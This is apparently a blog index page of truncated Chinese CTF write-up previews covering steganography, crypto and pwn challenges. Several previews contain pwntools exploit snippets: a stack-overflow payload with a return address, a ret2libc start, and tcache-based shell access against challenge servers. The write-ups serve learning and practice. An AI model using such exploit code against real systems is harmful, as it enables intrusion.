8.8k字20 分钟

# Crypto # Dancing_Line 有点靠脑洞啊,这道 crypto 不讲武德 /_ \ ,不过仔细看看还是大概能猜到的~ 图片上有一条线,放大可以看出,每隔一小段会有一个黑点 所以,我用 python PIL 库写个脚本导出黑点的坐标 from PIL import Imageimg=Image.open('./Dancing_Line.bmp')w,h=img.size#print(w,h)pos=[]for i in range(w): for j in range(h): if img.getpixe
7.9k字18 分钟

# MISC # fumo_xor_cli(1.16) 啊啊啊,做这道题的时候就差一点,两张需要 xor 的图也导出来了,就是第一张那个需要叠加的图貌似排反了 ┭┮﹏┭┮ (做的时候就发现两张图长度都是一样的,难怪我说 xor 出来不太对劲。。。) # 第一张图 nc 连上之后,发现出来了一堆彩色字符 python PIL 转为图片,发现中间有两张图片部分有点奇怪 搜索了一下大概是 ANSI 转义字符,大致格式如下: \x1b[ 38 ; 2 ; 208 ; 243 ; 251 m9 38;2;r;g;b Set text colour to an RGB value (e.g. \x
774字2 分钟

# Misc # YUSA 的小秘密 附件下载 题目描述:LSB,但又不是 LSB,众所周知不止 RGB... 直接用 stegsolve 打开有两个通道能直接看到 flag,可是噪点实在太多了. 联想到题目描述,开始查找资料. 可以参考 Bytectf2020 的 Misc: Hardcore Watermark 01 这道题 图片中每个像素可以通过三个通道来表示,常见的是 R (red) G (green) B (blue) 模式。而本题用到的通道是 YCrCb。 通过 cv2.cvtColor(img, cv2.COLOR_BGR2YCrCb) 对 img 图片数据进行色彩
5.5k字13 分钟

# spn(11.26) 附件下载 复现这道题的时候,我一开始用的是 0RAYS 的解法,大致是找 spn 的解密脚本,计算给出的 shell 的真实地址,然后用 tcache 打 shell,最后选 5 进 backdoor. 虽说是读懂了 0RAYS 的脚本,而且也算是进一步学习了一下 tcache 的机制, 然而我一番搜索,着实找不到好用的 spn 解密脚本,就只好另寻出路. 0RAY 的脚本放上: #!/usr/bin/python# -*- coding:utf-8 -*-from pwn import *import syscontext.log_l
2.4k字5 分钟

文章时间太早,图片丢失 # Crypto-RingRingRing 连上后先是让我们输验证码,MD5,这个没什么好说的,爆破一下就出了。 然后让我们给出满足条件 a**4 + b**4 + c**4 + d**4 = e**2 的 100 个 a,b,c,d,e 依旧是爆破,判断 sqrt(a**4 + b**4 + c**4 + d**4) 的值为整数时,依次输出 a,b,c,d,e 就可以了,输出 100 个之后返回就可以得到 flag from pwn import* from math import sqrt r=remote('192.
7.7k字15 分钟

文章时间太早,图片丢失 # Misc-red_vs_blue 简单来说就是 66 轮试错,同一次 nc 里面的答案是一样的,要么输入 r, 要么输入 b,错了就输入 y 重来,因为有时间限制,只能上脚本(本来还想手搓) from pwn import *# sh=process ("./buu--rip") local 端sh = remote('node4.buuoj.cn', 28699)s = []i=1tag=0q = sh.recvuntil(':')whi
3.5k字8 分钟

# pwn1 都说了是测试 nc 了,连上就直接可以拿到 flag # pwn2 给我们个 password,你再传回去就完了 关键是要仔细读题,看仔细到底哪些是 password from pwn import *r=remote("219.219.61.234",6666 )print(r.recvuntil(b'*\n').decode())p=r.recvuntil(b'\n')[:-1]print(bytes(p))r.sendline(bytes(p))r.interactive()# pwn3 ret2lib
7.3k字17 分钟

# PWN # pwn1 nc 连上 直接 cat flag # pwn2 经典栈溢出 from pwn import *#r=process("./pwn2")r=remote('1.15.81.218',10001)p=b'a' * 72 + p64(0x400596)r.sendline(p)r.interactive()直接传就行了... # pwn3 开了 NX 保护,没开金丝雀 有个 echo flag,感觉像是那么回事,实际上没用, 所以还是得通过 system 函数来搞 这里 s